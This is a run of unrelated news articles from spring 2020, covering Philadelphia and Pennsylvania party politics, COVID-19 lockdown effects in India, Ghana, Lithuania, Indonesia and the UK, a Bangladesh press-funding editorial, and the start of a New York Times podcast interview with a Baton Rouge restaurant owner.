anonymous donor who has bankrolled the ads that weve taken out. Los Angeles Times IBEW Local 98 union leader John J. Dougherty spoke to reporters as FBI agents conducted a search of his home on Aug. 5, 2016. Read more A lawsuit filed last month sought to overturn what it called a sham ward leader election in Northeast Phillys Ward 66B. Now theres been an anonymous airing of grievances that has the Democratic City Committee chattering. Woven into verses of invective in the anonymous letter, mailed recently to the homes of Democratic ward leaders across the city, are various abuses and aspersions aimed at labor leader John Johnny Doc Dougherty and two ward leaders, Shawn Dillon and Brian Eddis. Doughertys lawyer, Joseph Podraza Jr., sent Clout his own letter last week, warning of grave consequences if we reported on an irresponsible document. At least Podraza signed his missive. Dillon, the Democratic leader of Ward 66A, said he is a friend of Janice Tangradi, the committeewoman seeking to overturn the election in January of John Del Ricci as leader of Ward 66B. Why anyone would want so badly to control 66B is not clear, but ward leaders do enjoy some influence in city politics. Eddis heads the nearby 63rd Ward and is an official in Local 98 of the International Brotherhood of Electrical Workers, which Dougherty has led since 1993. The letter sender used the home of City Councilman Bobby Henon, leader of the 65th Ward, as a return address on the envelopes. Clout is reliably informed the sender had impeccable penmanship. Dougherty, Henon and six other Local 98 officials are accused of embezzling more than $600,000 from the union from 2010 to 2016. They have pleaded not guilty. Podraza knocked the letter as a smear document of unknown origin that makes irresponsible and false representations. Bob Brady, leader of the citys Democratic Party, said he heard about the letter before his even arrived in the mail. Im sure a lot of people are upset about it, said Brady, who found it all pretty humorous. Brady also said he thinks the letter was prompted by Clouts reporting on the lawsuit. Dillon called the effort pathetic and knocked the sender as a coward. With this being said, the one thing I know for sure is that whoever mailed it had access to the City Committee mailing list, so you can take that for what its worth, Dillon wrote in an email. Del Ricci said he is getting blamed but didnt send the letter and does not respect whoever did. He announced a memorial service in January for Michael Mac McAleer Jr., the longtime 66B leader, who died in December. That became a "snap election. Tangradi filed a challenge to the result but the Democratic City Committee sided with Del Ricci. Tangradi then asked a Common Pleas Court judge to nullify the election and order a new one. That case is pending. Strife looms for Pa. Republican Party summer meeting The Pennsylvania Republican Partys summer meeting, set for late May, has been postponed and may be held a month later. That will stretch out what could be a bruising battle for a seat on the Republican National Committee, just as the party is trying to come together to help President Donald Trump win the state again. Bob Asher, a Montgomery County candy manufacturer, has held one of the two RNC seats in the state since 1998. He may be challenged by Andy Reilly, the former chairman of the Delaware County Republican Party, who took over in 2018 as head of the Southeast Caucus. Asher declares himself as myopically focused on the reelection of President Trump, Congress, the state Senate and the state House. I will become involved in nothing, or have any comment, that will prove disruptive to that course of action." Reilly, a Center City lawyer and secretary of the state party, said he is strongly considering a bid. The next four years will be critically important to the Republican Party, he said. Im being encouraged to run by many state committee people from across the state. A Pennsylvania Republican political consultant, who asked not to be identified in order to speak freely, said state party Chairman Lawrence Tabas of Philadelphia is leaning Reillys way. Reilly said he has a good working relationship with Tabas. Tabas didnt answer directly when asked about Reilly, sending a statement that called interest in the RNC seat a sign of party strength. I think thats great, and I dont think it would affect the November election because everyone is 100% behind the president, Tabas said. This is more about the four years that follow. A wild card in this: the partys 2018 gubernatorial nominee, Scott Wagner of York County. Wagner, who could not stop Gov. Tom Wolfs bid for a second term, holds a serious grudge against Asher, who did not support him in the 2018 primary. Reilly said Wagner told him in November he was running for the seat but might stay out of the contest if Reilly became a candidate. A working theory here: Wagner could be the hammer on behalf of Reilly. Wagner didnt respond to Clouts hails. The other RNC seat has been held since 1997 by Christine Toretti, former owner of a Western Pennsylvania drilling firm, who is seeking another four-year term. Trump appointed Toretti as ambassador to Malta in 2018 but the U.S. Senate did not take action to approve her. Toretti said she is committed to Trumps reelection and said Malta is not a priority for me right now. She also praised Asher. Hes incredibly loyal and passionate about the Republican Party, she said. Hes been a great person to work with. Quotable Public Policy Pollings newest surveys in Michigan, North Carolina, Pennsylvania, and Wisconsin finds voters think their governors are doing a much better job of handling the coronavirus than Donald Trump. On average the governors net approval for their handling of the virus are 32 points better than Trumps. PPPs April 23 poll. A court in Mumbai on Tuesday granted bail to a man accused of inciting migrants to assemble outside Bandra railway station on April 14 in violation of lockdown norms in place for the novel coronavirus outbreak. Vinay Dubey was granted bail on a cash surety of Rs 15,000 by metropolitan magistrate JY Ghule, his lawyer Deepak Mishra said. On April 14, the last day of the first phase of the lockdown, several hundred migrants had assembled on the west side of Bandra suburban station demanding trains to take them to their native places, just hours after Prime Minister Narendra Modi announced an extension of the lockdown till May 3. Police claimed Dubey's video and Facebook post incited the migrants, as he was heard in a video stating that the government must run trains by April 18 for migrant labourers or he would have to start an agitation or rally to get them home. Dubey was charged under sections 117, 153 A, 188, 269, 270 and 505 (2) of Indian Penal Code on charges of promoting enmity among different groups, abetting the commission of an offence by members of the public, and for negligence that could spread infections disease etc. He was also charged under the Epidemic Diseases Act. Advocate Mishra claimed the police was wrong in slapping these charges on Dubey. "Dubey had said in the video that an agitation would start on April 18. However, migrants gathered on April 14 itself. So how can my client be blamed for that?" he said. He also told the court that the migrants had been able to gather at the station in such large numbers despite the lockdown because of the failure of the police and the state. "They (migrants) were locals, who had gathered for money. How else could so many people have defied police and lockdown restrictions?" Mishra said. In his bail plea, Dubey also said police erred in booking him under section 153 (A) of IPC on charges of promoting enmity, since invoking this section needs the prior sanction of the Union government, which he claimed the Mumbai police did not secure. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Leading paint makers such as Kansai Nerolac Paints, AkzoNobel India and Berger Paints have come forward to extend financial help to painters, who are passing through a rough phase during the ongoing lockdown. The companies are providing financial aid to their painting contractors, most of whom are daily wagers and an important part of their business ecosystem, through crowd-funded endowment fund to direct cash transfer in their accounts. Kansai Nerolac Paints said it has announced to set up a crowd-funded endowment fund for its community of painters in association with India's largest and most trusted donation platform Give India'. The amount collected through this platform will be used to provide financial aid of up to Rs 7,000 each to those painters suffering from Coronavirus. Nerolac will also make a contribution of Rs 5,00,000 to set up the fund. The support and commitment of our painter community has helped us attain success through the years. The COVID-19 pandemic has impacted the lives of millions of daily-wage earners, including painters, bringing many under severe financial stress," Kansai Nerolac Paints Executive Director Anuj Jain said in a statement. He further said, "Through our association with a renowned platform such as 'Give India', we would like to urge citizens to contribute as much as they can for the safeguard of painter community. The amount collected will be used for the care of painters affected by this virus." Last month, Kansai Nerolac Paints Ltd had also announced an early disbursement of funds to its painter community falling under the Nerolac Premium Painter Pragati (NPP Pragati) Programme wherein over 30,000 painters benefited from the initiative, the company said. Meanwhile, AkzoNobel India has also announced to extend support to over 12,000 painters in the wake of COVID-19 outbreak by providing an out of turn pay-out through the annual loyalty programme Colour Guru. As part of this initiative, direct online transfers are being made to the bank accounts of over 12,000 painting contractors. Painting contractors are a significant part of our ecosystem and their livelihood has been impacted by the pandemic. This early disbursement of funds is aimed at placing cash in the hands of painting contractors so that they are able to fulfil their essential needs and cater to any emergency during the extended lockdown period in India," said AkzoNobel India Managing Director Rajiv Rajgopal. Berger Paints India, which is helping its painting contractors associated with the company through financial assistance, has already started the process of transferring money directly into their bank account. "The money would help these families in getting daily essentials and to cater to any emergency in a time when their incomes have taken a hit as all painting activities have come to a screeching halt with the lockdown in place, the company said. The company intends to cover more than 20,000 contractors across India with this activity, the company had said in a statement on April 13. The painting contractors have always been an integral part of the larger Berger Family and we feel humbled that we are in a position to support them in this hour of need. A lot of contractors have sent Whatsapp video messages to us appreciating the gesture. It's an overwhelming feeling, Berger Paints MD and CEO Abhijit Roy had said. Another firm, Asian Paints had committed Rs 35 crore towards COVID-19 Relief Fund, contributing to the central government as well as emergency relief funds operated by the state governments to combat COVID-19. As a socially responsible company, Asian Paints is committed to providing necessary support towards various relief measures announced by the government... said Asian Paints Managing Director and CEO K B S Anand. According to Care Ratings, the Indian paint industry is estimated to be Rs 50,000 crore industry. Indian paint sector is broadly classified into two main segments - decorative and industrial. The decorative segment accounts for the majority of the industry's value which is around 75 per cent and the industrial segment accounts for the rest 25 per cent. Till FY17, organised players had a market share of about 65 per cent. However, post GST application, the organised players are recapturing market from unorganised players with share of organised players increasing to about 80 per cent now, it said. The top players in the organised sector are Asian Paints Limited, Kansai Nerolac Paints, Berger Paints India and AkzoNobel India -- which together account for about 68 per cent of the market share, it added. India is presently going through an extended lockdown period till May 3 as the government tries to curb the spread of coronavirus pandemic. COVID-19 has so far taken 937 lives in the country and infected a total of 29,974 people, according to the latest data by the Union Health ministry. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Formula 1 is currently looking for a way to shape the 2020 calendar. Double headers in Austria, Great Britain and Hungary seem to be the most likely solution, but more and more other circuits are also appearing to fill in the gaps. For example, the circuit of Imola has already indicated that they would like to host a Grand Prix this year, preferably a week after Monza and on Tuesday. it was also announced that the Algarve International Circuit will make itself available. The management in Portugal even expects to receive Formula 1 as early as June. The Hockenheimring can now be added to that list. The circuit was originally one of the victims for the 2020 calendar. The organisation in Germany could no longer support an extension of the contract with Formula 1 and so it seemed that the German Grand Prix 2019 would be the last F1 race on the classic circuit for the time being. Regular contact with Liberty Media since corona crisis Because of the corona crisis, Hockenheim may also have an opening to return to the F1 calendar sooner. Circuit director Jorn Teske says Auto Bild was in regular contact with Liberty Media for the last time before the coronacrisis, but a possible return has at least been discussed by him in the meantime. "The subject has indeed been touched upon. We all see that the Formula 1 calendar is upside down and if Formula 1 shows an interest in a race this summer we would be ready to talk about it. The only condition, of course, is that all health requirements and financial feasibility are guaranteed". Despite coronavirus infections going past 564 in Jammu and Kashmir on Tuesday, the state is showing a healthy recovery rate with few patients needing ventilator support. In fact, J&K recovery percentage at 29% is more than the national average which stands at 23%, as on Tuesday evening. Experts said this could indicate better immunity or a weaker strain of virus in the Valley. They also said that those who were infected in the Valley did not need ventilator support during their ailment. Of 29,974 Covid cases in the country, 6,868 have recovered, taking the national recovery rate to 23%, while 939 have died, putting the national figure at 3.1%. Till Tuesday evening, J&K had 564 cases, with eight deaths which makes for around 1.41% death rate, and 164 recoveries makes a recovery rate of around 29%. In Kashmir, with 134 out of 507 cases having recovered, the recovery translates into 26.4% and six deaths make for 1.18 %. Dr Salim Khan, head of the department of social and preventive medicine, Government Medical College, Srinagar, said that people must not panic as positive cases in Kashmir are around 500. He said, This is due to aggressive testing of contacts of declared positive patients. As of now severe cases from the community coming to hospital is very negligible and the situation shows no cause for alarm, but we still cannott lower our guard. Dr Khan, also the nodal officer of Covid-19 team, said that 10001500 samples are tested every day, so 2030 covid cases will show up. Our percentage of positive cases according to number of tests is around 3 to 4%, less than many other states. It also varies from state to state as per testing of samples, he said.Currently every suspicious patient in Kashmir is tested on an urgent basis, he added. Dr Amjid Ali, consultant at GMC Baramulla, which has seen many Covid cases, said there were two possibilitieseither the strain of virus is weak or people here have a good immunity. People in Ladakh and Jammu are more alert to social distancing, and if in we seriously abide by precautions, cases will come down in Valley, too. However, he said that no research has been conducted yet but these are the indicators from the patient records coming to various hospitals and Covid-19 designated centres. Baramulla district , with three deaths, has 67 positive cases so far, and half the Valleys Covid-19 deaths have been from this district. However, doctors say that most patients admitted in the medical college didnt need any ventilator support, and 21 patients were discharged after recovery. Most patients are fine and didnt require medical intervention other than the required protocol for Covid patients across the country. Despite fresh cases showing up, our recovery rate is very encouraging, said Dr Masood, the medical superintendent of Baramulla Medical College. Medical personnel are optimistic at SKIMS, one of J&Ks biggest hospitals which has admitted the maximum number of Covid-19 patients in Kashmir. The recovery of patients is a good sign. I think God has been kind to us, said Dr Farooq Jan, medical superintendent at SKIMS. The capital city of Lithuania, Vilnius, has confirmed it will transform into a massive open-air cafe to ease the burden lockdown has had on restaurants and cafes. The plans which will see all open spaces in the city be handed to cafes and restaurants to use are the next stage in the country lifting its coronavirus lockdown. Shops, hairdressers and beauty parlours, libraries, museums and cafes were given permission to reopen in Lithuania on Monday. Lithuania has 1,344 confirmed cases of coronavirus and 44 deaths but the open air cafe concept has been designed to adhere to social distancing guidelines. The capital city of Lithuania, Vilnius, has confirmed it will transform into a massive open-air cafe to ease the burden lockdown has had on restaurants and cafes John Hopkins University data shows Lithuania has 1,344 confirmed cases of coronavirus and 44 deaths Mayor of Vilnius Remigijus Simasius said the measures have been introduced to save the city's economy. He said: 'Plazas, squares, streets nearby cafes will be allowed to set up outdoor tables free of charge this season and thus conduct their activities during quarantine.' The mayor added that public safety remained the city's top priority but the scheme should help cafes to 'open up, work, retain jobs and keep Vilnius alive.' 160 businesses have applied to the city's offer but they must enforce strict rules if they are selected. There must be a limited number of customers at any one time, masks have to be worn in public places and tables need to be placed at least two metres apart. Lithuania started lifting their lockdown by allowing small businesses to reopen. They must limit the number of customers at any one time, masks have to be worn in public places and tables need to be placed at least two metres apart Public health workers in Vilnius were given 350,000 of restaurant vouchers by the city to thank them for their work and to help keep cafes afloat. Pictured: A market in Vilnius after Lithuania allowed small businesses to reopen Most of the city's restaurants are found in the Unesco-listed old town area of Senamiestis which has narrow streets where the minimum table distance would have been impossible to maintain. Evalda Siskauskiene of the Lithuanian Association of Hotels and Restaurants said the measures came just in time and that they would allow businesses to 'accommodate more visitors and bring life back to the city streets, but without violating security requirements.' 18 locations have been earmarked by the city such as its Cathedral Square and more are expected to be added to the list during the summer. Public health workers in Vilnius were given 350,000 of restaurant vouchers by the city to thank them for their work and to help keep cafes afloat. Just a week after lifting the lockdown in Accra, Ghanas capital city, and Kumasi; the country has recorded 271 new cases of COVID-19. This was confirmed yesterday, bringing the total number of cases recorded in the country to 1,550. Naija News learnt that while a total number of 11 people have died from the disease, 155 have recovered. Also, out of the infected patients, 62 persons are male while 38 percent are female. Naija News further learnt that 84 percent of the cases have no travel history. Last week, Ghana President Nana Akufo-Addo lifted a three-week lockdown on the basis of improved coronavirus testing. The Ghanaian president had said nonessential businesses in Accra and Kumasi could reopen but under guidelines of social distancing. He said Ghanaians should make use of face masks in public places. In view of our ability to undertake aggressive contact of infected persons, the enhancement of our capacity to test, the expansion in the numbers of our treatment and isolation centres, our better understanding of the dynamism of the virus, the ramping up our domestic capacity to produce our own personal protective equipment, sanitisers and medicines, the modest successes chalked at containing the spread of the virus in Accra and Kumasi, and the severe impact of the poor and vulnerable, I have taken the decision to life the three-week-old restriction on movements in the Greater Accra Metropolitan Area and Kasoa, and the Greater Kumasi Metropolitan Area and the contiguous districts, with effect from 1am on Monday, 20th April, he had said. At the time the president lifted the lockdown, Ghana had 1,042 cases of the disease. The country is the first to lift the restriction on movement in the West African region. Share this post with your Friends on Up to 25 Filipino healthcare workers have died from COVID-19 in the UK, the deputy Philippine ambassador to the UK has told Sky News. The number of deaths make up 19% of the more than 100 health and social care workers believed to have died on the frontline, according to Nursing Notes, a medical site which tracks NHS staff deaths. An estimated 19,000 health care professionals of Philippine heritage are working in the NHS . Of them 13,000 are nurses. "I think it is a safe assumption that part of the reason a lot of our healthcare workers are being hit is because they are being given inadequate personal protective equipment," said Senen T Mangalile, who also serves as consul general at the Philippine embassy. "The embassy and I are very concerned about this which is why we raised the issue with the Foreign Office. We also raised the issue of our healthcare workers saying they were not being tested even though they have symptoms. "The third issue we also raised is when they are feeling unwell they were being urged to stay at home." Mr Mangalile said the embassy has received complaints from nurses who say the personal protective equipment (PPE) they have been issued with is inadequate for what they need to do in their job. He said: "We would like to see them [Foreign Office] co-ordinating with government departments that are in charge of implantation of PPE. "Their contribution cannot be discounted, they are the frontline of this war against the virus and they are sacrificing a lot to be able to do this in this country and for the people who live here." Among members of the Filipino community to have died is Larni Zuniga, 54, a senior care home nurse who lost his life to COVID-19 on Friday. He died at St Thomas' Hospital, where he spent three weeks in intensive care. Speaking exclusively to Sky News, Mr Zuniga's daughter Mutya Zuniga-Paulo said: "He spent nearly a month in ICU fighting for his life. My dad was alone in the UK and we wanted to be with him during his last days but we couldn't do anything. Story continues "It was hard watching him during his last moments through video call. We couldn't even hug him or touch him or even say goodbye for the last time. This is unimaginable." Mr Zuniga, who was diabetic, is believed to have contracted the virus while working at a care home in Bagshot, Surrey. The father-of-three was born and raised in the Philippines, where he left his wife Edith and three children to embark on a nursing career in the UK 12 years ago. Mutya Zuniga-Paulo who herself is a nurse said her father was in the process of applying for his wife to join him before he became unwell. She said: "He left the Philippines to work in order to give us a better life. He was working hard to save money to help my mum with her papers so they could be together. My dad died being a hero. "Every health care worker deserve to have proper protection. It's not fair nurses and doctors are going on the battlefield without PPE. I hope the public and government will value these frontline workers. They are the heroes of this generation." Mr Zuniga was a regular member of the Jesus is Lord Church in Oxford. The church community is already mourning the loss of Oscar King Jr and Elbert Rico - two Filipino hospital porters who recently died from COVID-19. Pastor Arnold Barrientos, a nurse and friend of Mr Zuniga, tested positive for the virus after visiting him at his home. He has since recovered. "He had to self-isolate on his own before going into hospital. I don't know how he managed to cope. He sacrificed a lot for his family back home. He last saw them five years ago and died here all alone with none of them by his side," he said. Other Filipino victims of COVID-19 in the UK include Leilani Medel, 41, a hospital nurse from South Wales. She died on Good Friday while her husband, Johnny Medel Jr, who also tested positive for coronavirus, remains in a critical condition in intensive care. "My niece and the other Filipino nurses did not deserve to die. There was not much protection offered to them for the work they were doing. I think a lot of them did not have enough personal protection equipment," said her Aunt Marissa Weaver. The couple's 14-year-old daughter has since recovered from the virus and is now in foster care. Ms Weaver said: "I spoke to her today and although she is so devastated she is doing well. I can't even visit her because of the lockdown. We are so worried about her dad. "If he dies their daughter could be orphaned. I don't know what will happen to her." Politicians in the southeast Asian country have told Sky News how proud they are of medics from the Philippines who have died. :: Listen to the Daily podcast on Apple Podcasts , Google Podcasts , Spotify , Spreaker Senator Christopher "Bong" Go, a personal aide of President Rodrigo Duterte, said: "We salute you for your hard work and sacrifice to save people. Let us fight this together. Let us pray. We can do this. We can get through this." Senator Ronald Dela Rosa said: "I'm sending my heartfelt thanks for the service that you give to the United Kingdom. It's amazing what you do there. We salute you all in the United Kingdom." The UK government has announced a review into the impact that coronavirus is having on ethnic minorities. Sky News has approached the Foreign Office for comment. We implore government to provide funds for journalists The Editors Guild last week urged Prime Minister Sheikh Hasina to declare an emergency package for the mass media. Due to the coronavirus pandemic newspapers are denied of income both from advertisement and circulation. Due to the shutdown, lockdown and social distancing the newspapers are not reaching properly to their readers too. In Bangladesh, nearly 10 newspapers have shut down publications because the risk and cost of operation during the pandemic could not justify continued printing. This was expressed many times in the newspapers and television channels that they are in dire financial crisis and unable to pay salaries to journalists. Besides, the journalist are also suffering from acute hardship. The reason is-no economic activities are possible for the government policy of lockdown and shut down. The other source of income for the press is the circulation. It should be easy to understand how and why circulation has gone down drastically. The hawkers are reluctant to come out for fear of the pandemic. Equally difficult it is for the daily newspapers to send the printed copies outside Dhaka for the government suspension of transport all over the country. So, on both counts-advertisement and circulation-the revenue collection situation of the newspapers is in dire state. The survival of print media is at stake in the worst situation of pandemic. But surely media, both, the television and the print media, are playing an indispensable role in creating public awareness about the need of self-protection against the fury of coronavirus. Their role is no less important than others to the service providers. It is to be admired with gratitude that journalists are risking their own lives and lives of the family members to do their public duty to the readers as well as the government. In Bangladesh, all best news websites are backed by their newspapers and TV brands. The business owners hover around advertisement revenues in newspapers and TV channels that are paid for the journalists. In the UK, British media has called on the government to grant the industry the same protected status already given to healthcare, food chains and utility companies. Doing so, the government should then unlock a package of measures to prevent the adverse impact of closures - including emergency funding for protecting the journalism. The crisis for the government is that it is almost impossible for them to pay heed to the right advice. The government men should realise now how much harm they have done to the government. No part of the government is in functional order. The press is an important constitutional institution as the fourth pillar of the democratic government. The press also serves in upholding the people's right to know and their freedom of expression is guaranteed by the Constitution. The newspapers are owned privately but the service journalists provide is absolutely public. For their valuable public service and risk they are taking in working in the life -risking situation, the journalists must not go starving with their family members. They want a share in public money for their service to the people. The harsh truth cannot be denied that the sources of income for the newspapers have been cut off for the government policy of lockdown and shutdown. This grave situation needs no elaboration. There is nothing the owners can do without income. The government should respond to the Editors Guild and announce an incentive package. It does not have to be in the form of a direct grant-loans or a reduction in taxes. The funds will go direct to the payment of wages of journalists. The Bhutanese government gives a print media subsidy of over 50 percent to its newspapers-at the least our government can reduce the taxes paid. Why our government cannot think of it yet? We implore the government to arrange funds for the journalists so that they get their salaries and do not starve. They deserve thanks and gratitude for the public service they are now offering. Indonesians could resume some form of normal life by July, according to two key members of the government's COVID-19 taskforce, who claim coronavirus infections are declining. But an expert virologist has questioned this assessment, arguing Indonesia needs to significantly ramp up its daily testing regime before making such a call. A medical team checks passenger body temperature at an underground station in Jakarta. Credit:AP Australia's northern neighbour has so far recorded 9096 coronavirus infections and 765 deaths, the second-highest infection rate and the highest death toll in south-east Asia. It has conducted a relatively low number of Polymerase Chain Reaction (PCR) tests because of a shortage of chemical reagents and a lack of suitable laboratories. The country has conducted slightly more than 75,000 tests on 59,000 people in a nation of nearly 270 million, well short of neighbouring Vietnam (more than 133,000 tests for a population of 97 million), Malaysia (120,000, 32 million) and Singapore (39,000 tests, 5.6 million people). Modi the person through which Balakot information went to Arnab: Rahul Gandhi Arnab Goswami questioned by cops over remarks against Sonia India pti-PTI Mumbai, Apr 27: Republic TV editor-in-chief Arnab Goswami was questioned by police here on Monday in a case against him for allegedly making defamatory statements against Congress president Sonia Gandhi in news shows on the recent mob lynching incident in adjoining Palghar district. Goswami's questioning took place at the NM Joshi Marg police station, central Mumbai, where the case against him has been filed by a local Congress member. After coming out of the police station, Goswami claimed he was questioned for over 12 hours over his remarks against the Congress president, whose party is a constituent in the Shiv Sena-led government in Maharashtra. Talking to reporters, Goswami stood by his comments against Gandhi and added "whatever I have said is absolutely correct". The TV journalist said he told the police his side of the story and they were "completely satisfied". Goswami he was served a notice by the police on Sunday asking him to appear on Monday morning for questioning. "Facts and evidence have been presented and truth will prevail," he said. I am grateful to the Mumbai police for hearing me... I stand by every single comment. We do not have any pressure and we will work more on the Palghar lynching incident," he said. His lawyer Sujoy Kanthawala said, Statement recording started around 9.30 in the morning. The TV programmes (where alleged anti-Gandhi remarks were made) were shown and Arnab fully cooperated in the investigation. DCP (zone 3) Avinash Kumar said, "We have recorded his statement and further investigation was on." The Supreme Court on Friday protected Goswami for three weeks from any coercive action in FIR lodged against him for making alleged defamatory statements against Gandhi. The alleged statements were made during news shows on the recent mob-lynching of three persons, including two sadhus, in Palghar district. Except for one FIR lodged in Nagpur city against Goswami, the top court had stayed further proceedings in three FIRs and 11 complaints lodged in different states, including Chhattisgarh, Maharashtra, Madhya Pradesh, Rajasthan, Telangana, Uttar Pradesh and Jharkhand. Goswami has said in his plea in the SC that the FIRs which have been registered are in relation to the broadcasts aired on Republic TV on April 16, and R. Bharat, its Hindi wing, on April 21. These broadcasts were in connection with the comments given by a member of the Congress in relation to India's COVID-19 testing measures and the unfortunate lynching of three individuals in Palghar on April 16, he had said in the plea. Bhanu Priya, 25, a sex worker, managed to earn Rs 5,000 a month. The money allowed her to pay for food and rent and also raise her four-year-old son. For nearly two months, however, Priya has had no work or money. With the coronavirus pandemic forcing the country into lockdown, the business has dried up. With no ration card, transport and no savings, Priya is now at the end of her tether. "If this goes on, my son and I will die of starvation," she said. This is the story of thousands of sex workers in Andhra Pradesh, a state with one of the highest number of sex workers and trafficking victims and survivors in the country after Maharashtra and West Bengal. With no business or access to rations, sex workers and their families have no choice but to wait in isolation for the government aid to arrive first. "At this rate though, death will arrive first," she mused. Shedding light on the issue, a non-governmental collective working for the rights of trafficking survivors and sex workers has written a letter to AP Chief Minister YSR Jagan Reddy, seeking immediate supplies for sex workers across the state. 'No Ration Cards' The AP government has been distributing free rations to be delivered to the doorsteps of all residents of AP. On March 29, a month's quota of rice was distributed through village volunteers to poor households across the state along with one-kilo toor dal (a type of lentil) and Rs 1,000 cash assistance. No such aid came to Bhanu Priya's doorstep in Chirala, Prakasam. The government aid is meant for ration-card holders and Priya did not have one. She had applied for one through Vikmuthi, the NGO that drafted the letter to the CM, nearly two months ago in early March. But she had not yet received it. "About 50 percent of the sex workers in AP do not have ration cards for state-level help or Jan Dhan accounts for aid from central government," Vimukti General Secretary M Rammohan told News18. His organization has been working in collaboration with Andhra Pradesh State AIDS Control Society (APSACS) and HELP to register sex workers for ration cards and help them get documents as well as government aid. "These people and their families are receiving no aid. The added stigma of their profession also keeps benefactors away from making donations," Ramohan added, pointing out the hypocrisy of many who would rather give to an underprivileged group "more suited to their preference". Additionally, sex workers also did not have Jan Dhan accounts. (Sex workers receive rations from Vimukti) HIV patients suffer Apart from rations, sex workers in AP, many of whom are receiving treatment for HIV have also been facing a severe crisis of medicines. With strict lockdown enforced across the state, many are facing issues procuring ART tablets needed for the treatment. According to Vikmukti office-bearer Mehrunnisa, ART tablets are only available in specific centers in government hospitals. "Due to coronavirus, volunteers have been unable to visit the centers and the supply has been cut down to one batch of tablets every three months." Even if patients do receive their quota of the medicine, it is only effective if consumed along with nutritious food. And the food is at a premium. According to M Rammhoan, the lack of precautions taken to ensure the safety of sex-workers, who have been deemed high-risk from coronavirus due to their claustrophobic living conditions, simply pointed to the apathy of government to take accountability for them. "Authorities often say it is tough to identify sex workers, which is why it is tough to provide them with relief. But about 60-70 per cent of HIV positive sex workers are registered with APSACS. They can easily be identified, and helped," Rammohan said. 'Save Our Children' In Andhra Pradesh, districts such as Guntur, Prakasam, Krishna, East and West Godavari and others are hubs of flesh trade and human trafficking. These areas are also densely populated with sex workers including voluntary and trafficked women who live in overcrowded brothels along with their children. According to statistics collected by Vikmukti and Indian Leadership Against Human Trafficking, there are 75,000 sex workers spread across some 30 red-light districts in the state. Vimukti and HELP documented a brothel in Guntur which had about 75 children living along with sex workers, wit nearly 22 of them between one to two years of age. While many migrant sex workers managed to return home, Lakshmi (name changed), a migrant sex worker from a village in the outskirts of Eluru, could not return home before the lockdown. she had just given birth and she did not think it safe to travel 30 km on uncertain transport with a one-month-old baby in tow amid the pandemic. Now, Lakshmi, 30, and her baby are stuck with no resources, food, or money. Even the owners of the brothel she worked in left without any intimation prior to the lockdown, leaving her and other sex workers who were unable to leave at their own devices. "We have very little food left which we are dividing among us and surviving somehow. I do not have enough milk to feed my baby, she said. We know we are outcasts in Indian society but even we are humans. If the government does not save us, we would starve. At least save our children." she added. Yet another sex worker, Satya, 35, was also stuck at a brothel. Though her 8-year-old son did not live in the brothel but with a relative in another town, Satya was unable to send him or the family any money due to the lockdown. She was also running out of cash. If things continued this way, Satya felt that she and many others like her would have no option but to kill themselves and their children. "Death is better than starvation or coronavirus," Satya said. Having written to the CM on April 18 regarding these issues, activists and sex workers now wait for the government's response and hope that their desperate pleas for help are met. [music] michael barbaro From The New York Times, Im Michael Barbaro. This is The Daily. When Louisianas stay at home order expires today, restaurants across the state can begin allowing customers back inside at their own discretion. That decision now lies with restaurant owners, like Jasmine Lombrage. Its Friday, May 15. jasmine lombrage Hello? michael barbaro Hi. jasmine lombrage Hi, how are you? michael barbaro Oh, good. You sound great right now. jasmine lombrage Wonderful, wonderful. Hi. Im Jasmine Lombrage. michael barbaro Hi, Jasmine. Im Michael Barbaro. jasmine lombrage Hi, nice nice to meet you this way. michael barbaro Very nice to meet you this way. Where exactly am I reaching you? jasmine lombrage I am at the Bullfish Bar Plus Kitchen here in Baton Rouge, La. michael barbaro Thats your restaurant? jasmine lombrage Yes. michael barbaro So how long have you lived in Baton Rouge? jasmine lombrage Me, personally, about 17 years. My husband has been here over 20 years. And we have two girls, two beautiful girls, Gaby shes turning 11 next month and we have our gorgeous Angelle. Shes nine. michael barbaro How did you and your husband meet? jasmine lombrage [LAUGHS] Its an old love story. We met at school. I was in dental hygiene school, and he was in culinary school. And he was working at that cafeteria. My friends said that they have good food over there, and they wanted to go. And so we went over there, and he was a quiet guy in the corner doing his own thing. I said, excuse me, what do you have here that is good and healthy that I can eat? And he looks up, and he said, Nothing is good enough for you. michael barbaro Oh, jeez. jasmine lombrage And then I turned to walk away, and he said, But if you come back tomorrow, Ill make something for you. michael barbaro Mm-hmm. jasmine lombrage And I just kind of smiled and said, No, thank you. And I had a few friends who are like, Yes, were coming back tomorrow. So the next day, he made something for me. He made stir fry, and my friends I had one of my crazy friends. She said I said, Im not going to eat. I dont know if this guy is some kind of psycho or crazy and hes going to put something in my food. Shes like, Well, Im going to eat. If nothing happens to me in a few minutes, then you you can try it. So thats what happened. And he came back and asked, how was everything? I said, it was good. And then we started talking. Then no then he said Im going to be his wife, and I said, Im sorry. Thats not going to happen. You know, and he said, well, hes a praying man. He always gets his heart desire. michael barbaro [LAUGHS] jasmine lombrage Yes, 10 years later, we ended up married. michael barbaro So when you when you two met, you were a dental hygienist student. He was training to be a chef. jasmine lombrage Yes. michael barbaro And so how did you end up in the food industry? jasmine lombrage Well, growing up, my mom always cooked, you know, for many people. So it was always a passion. I grew up cooking also with mom and just family and aunts. We just that was just something we did. And then Angel, my husband, Chef Angel, my husband, you know, we he was the executive corporate chef that started Voodoo BBQ & Grill, which is a restaurant here in the South. And he was known as the Pitmaster. And so what we did, we started Jazz City then, Jazz City was a catering company. And we were he was like, well, this is what I love to do. And we wanted to do something we have two young kids. We know that, you know, you can work hard for anyone and everyone, but really, if you want to leave that create something for your family, you need to create something so that it can stay down and passed down for generations and generations and possibly grow. And that is our goal is to have it grow and flourish. And we ended up here at the Bullfish, and Bullfish was already it was a restaurant previously owned by someone else. And when we came here, we made it our own by bringing new menu items. And this is the only place you can come in Louisiana and find an authentic Caribbean and Southern fusion cuisine. What hes done, what Chef has mastered, hes taken the fresh herbs that we have in the Caribbean, and then hes merged it with the wonderful spices that we have here in Louisiana. And he theres a fusion of jerk, fish, and Southern barbecue shrimp. michael barbaro Mm. jasmine lombrage Yes. And the paella you know, Chef makes a paella with you know, he uses scallops. And the crawfish, which is from Louisiana, he infuses that with the andouille sausage, and then he puts the shrimp in there and the crab meat. And so its just the different twist that he puts on all of the dishes. Its just magic in your mouth. michael barbaro Mm. jasmine lombrage And I dont know if you heard the music in the background a little. We kind of use a lot of Caribbean kind of music from different parts of the Caribbean, and we play different music from here. The vibe is just so, I dont need a passport, but I can get away here. Does that makes sense? michael barbaro 